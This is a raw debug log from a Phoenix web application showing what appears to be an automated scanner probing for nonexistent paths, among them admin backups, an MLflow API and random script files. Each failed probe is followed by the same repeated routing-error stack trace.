    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:16.150000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38822] GET /sitemap.xml
[Thu Sep  3 07:48:16.187000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38822] ** (Phoenix.Router.NoRouteError) no route found for GET /sitemap.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:17.905000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38832] GET /.cobalt
[Thu Sep  3 07:48:17.937000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38832] ** (Phoenix.Router.NoRouteError) no route found for GET /.cobalt (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:18.710000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38844] GET /admin.back
[Thu Sep  3 07:48:18.736000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38844] ** (Phoenix.Router.NoRouteError) no route found for GET /admin.back (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:22.435000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:38854] GET /file
[Thu Sep  3 07:48:22.458000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:38854] ** (Phoenix.Router.NoRouteError) no route found for GET /file (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:23.128000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59368] GET /wavemaster.internal
[Thu Sep  3 07:48:23.154000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59368] ** (Phoenix.Router.NoRouteError) no route found for GET /wavemaster.internal (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:23.785000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59376] GET /
[Thu Sep  3 07:48:23.786000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:59376] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:48:23.786000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59376] Sent 200 in 1ms
[Thu Sep  3 07:48:24.580000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59382] GET /
[Thu Sep  3 07:48:24.580000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:59382] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:48:24.582000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59382] Sent 200 in 1ms
[Thu Sep  3 07:48:25.767000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:59396] KHOWXU /
[Thu Sep  3 07:48:25.808000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:59396] ** (Phoenix.Router.NoRouteError) no route found for KHOWXU / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:48:45.404000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43074] GET /
[Thu Sep  3 07:48:45.404000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43074] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:48:45.405000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43074] Sent 200 in 1ms
[Thu Sep  3 07:48:52.368000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43078] OPTIONS /
[Thu Sep  3 07:48:52.437000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43078] ** (Phoenix.Router.NoRouteError) no route found for OPTIONS / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:49:07.374000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48120] GET /
[Thu Sep  3 07:49:07.375000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48120] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:49:07.376000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48120] Sent 200 in 1ms
[Thu Sep  3 07:49:12.838000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48130] GET /
[Thu Sep  3 07:49:12.839000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48130] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:49:12.839000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48130] Sent 200 in 862µs
[Thu Sep  3 07:49:16.375000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48038] GET /
[Thu Sep  3 07:49:16.375000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:48038] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:49:16.377000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:48038] Sent 200 in 1ms
[Thu Sep  3 07:49:37.264000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:34002] GET /sse
[Thu Sep  3 07:49:37.280000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:34002] ** (Phoenix.Router.NoRouteError) no route found for GET /sse (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:50:07.843000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36346] OPTIONS /
[Thu Sep  3 07:50:07.893000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36346] ** (Phoenix.Router.NoRouteError) no route found for OPTIONS / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:50:08.748000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36358] GET /
[Thu Sep  3 07:50:08.748000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:36358] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:50:08.749000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36358] Sent 200 in 845µs
[Thu Sep  3 07:50:17.473000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56396] GET /ajax-api/2.0/mlflow/registered-models/search
[Thu Sep  3 07:50:17.493000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56396] ** (Phoenix.Router.NoRouteError) no route found for GET /ajax-api/2.0/mlflow/registered-models/search (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:50:17.516000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56390] GET /
[Thu Sep  3 07:50:17.517000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:56390] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 07:50:17.517000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56390] Sent 200 in 1ms
[Thu Sep  3 07:50:23.722000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:56782] GET /play
[Thu Sep  3 07:50:23.745000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:56782] ** (Phoenix.Router.NoRouteError) no route found for GET /play (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:36.958000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53058] GET /jJS2gFt_drWZ.html
[Thu Sep  3 07:51:36.983000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53058] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:37.620000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53066] GET /jJS2gFt_drWZ.cgi
[Thu Sep  3 07:51:37.643000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53066] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:38.281000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53082] GET /jJS2gFt_drWZ.sh
[Thu Sep  3 07:51:38.301000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:53082] ** (Phoenix.Router.NoRouteError) no route found for GET /jJS2gFt_drWZ.sh (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 07:51:38.975000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:53090] GET /jJS2gFt_drWZ.pl
